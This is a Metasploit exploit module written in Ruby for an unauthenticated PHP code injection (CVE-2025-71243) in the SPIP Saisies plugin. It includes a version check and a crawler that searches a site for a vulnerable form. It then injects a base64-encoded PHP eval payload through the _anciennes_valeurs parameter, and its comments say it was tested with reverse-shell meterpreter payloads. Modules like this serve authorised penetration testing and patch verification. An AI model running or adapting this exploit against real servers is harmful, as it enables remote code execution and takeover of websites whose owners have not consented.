SPIP Saisies Plugin Unauthenticated RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip
  prepend Msf::Exploit::Remote::AutoCheck

  FORM_PARAM = '_anciennes_valeurs'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated PHP code injection in the SPIP
          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
          interpolated unsanitized into a hidden field rendered with
          interdire_scripts=false, allowing direct PHP code execution via template
          eval.

          Exploitation requires a publicly accessible page containing a
          saisies-powered form, most commonly created with the Formidable plugin.
          Use the FORM_PAGE option to specify a known form page, or set it to
          'crawl' to automatically discover one by following internal links from
          the SPIP sitemap.

          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
        },
        'Author' => [
          'OpenStudio', # Discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-71243'],
          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
          ['URL', 'https://plugins.spip.net/saisies']
        ],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2025-02-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('FORM_PAGE', [
        true,
        'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
        'crawl'
      ]),
      OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
    ])
  end

  def check
    version = spip_plugin_version('saisies')
    if version
      print_status("Saisies plugin version: #{version}")
      if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
        return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
      end

      return CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
    end

    spip_ver = spip_version
    return CheckCode::Unknown('Target does not appear to be running SPIP.') unless spip_ver

    CheckCode::Detected("SPIP #{spip_ver} detected but could not determine saisies plugin version.")
  end

  # Find a page containing a saisies form (_anciennes_valeurs parameter).
  # When FORM_PAGE is set to a specific page name, only that page is checked.
  # When set to 'crawl', the module fetches the SPIP sitemap and follows
  # internal links until a form is found or CRAWL_MAX_PAGES is reached.
  def find_form_page
    if datastore['FORM_PAGE'].downcase != 'crawl'
      page = datastore['FORM_PAGE']
      if page.start_with?('/')
        return page if saisies_form?(page)

        fail_with(Failure::NotFound, "No saisies form found at #{page}")
      end

      uri = normalize_uri(target_uri.path, 'spip.php')
      full_uri = "#{uri}?page=#{page}"
      return full_uri if saisies_form?(uri, 'page' => page)

      fail_with(Failure::NotFound, "No saisies form found at #{full_uri}")
    end

    crawl_for_form
  end

  def saisies_form?(uri, vars_get = {})
    res = send_request_cgi('method' => 'GET', 'uri' => uri, 'vars_get' => vars_get)
    res&.code == 200 && res.body.include?(FORM_PARAM)
  end

  def crawl_for_form
    max_pages = datastore['CRAWL_MAX_PAGES']
    seen = Set.new
    queue = []

    # Seed with the SPIP sitemap page
    plan_path = normalize_uri(target_uri.path, 'spip.php')
    plan_uri = "#{plan_path}?page=plan"
    res = send_request_cgi('method' => 'GET', 'uri' => plan_path, 'vars_get' => { 'page' => 'plan' })
    if res&.code == 200
      seen.add(plan_uri)
      extract_internal_links(res).each { |link| queue << link }
    end

    # Also seed with the base URL
    base_uri = normalize_uri(target_uri.path, 'spip.php')
    queue << base_uri unless seen.include?(base_uri)

    print_status("Crawling for saisies forms (max #{max_pages} pages)...")

    until queue.empty? || seen.size >= max_pages
      uri = queue.shift
      next if seen.include?(uri)

      seen.add(uri)
      vprint_status("Checking #{uri}")

      begin
        res = send_request_cgi('method' => 'GET', 'uri' => uri)
      rescue ::Rex::ConnectionError
        next
      end

      next unless res&.code == 200

      if res.body.include?(FORM_PARAM)
        print_good("Form found at #{uri} (checked #{seen.size} pages)")
        return uri
      end

      extract_internal_links(res).each do |link|
        queue << link unless seen.include?(link)
      end
    end

    fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
  end

  # Extract internal links from an HTML response, filtering out static assets.
  def extract_internal_links(res)
    links = []
    doc = res.get_html_document
    return links unless doc

    doc.css('a[href]').each do |a|
      href = a['href'].to_s.strip
      next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)

      # Resolve protocol-relative URLs (//example.com/page)
      if href.start_with?('//')
        href = "#{ssl ? 'https' : 'http'}:#{href}"
      end

      # Resolve absolute URLs to paths
      if href.start_with?('http://', 'https://')
        uri = begin
          URI.parse(href)
        rescue StandardError
          next
        end
        target = begin
          URI.parse(full_uri)
        rescue StandardError
          next
        end
        next unless uri.host == target.host

        href = uri.path
        href += "?#{uri.query}" if uri.query
      elsif !href.start_with?('/')
        href = normalize_uri(target_uri.path, href)
      end

      links << href
    end

    links.uniq
  end

  def exploit
    form_uri = find_form_page

    print_status('Sending payload...')

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(phped_payload)
    tag = Rex::Text.rand_text_alpha(8)
    injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"

    send_request_cgi({
      'method' => 'POST',
      'uri' => form_uri,
      'vars_post' => {
        FORM_PARAM => injection
      }
    }, 5)
  end
end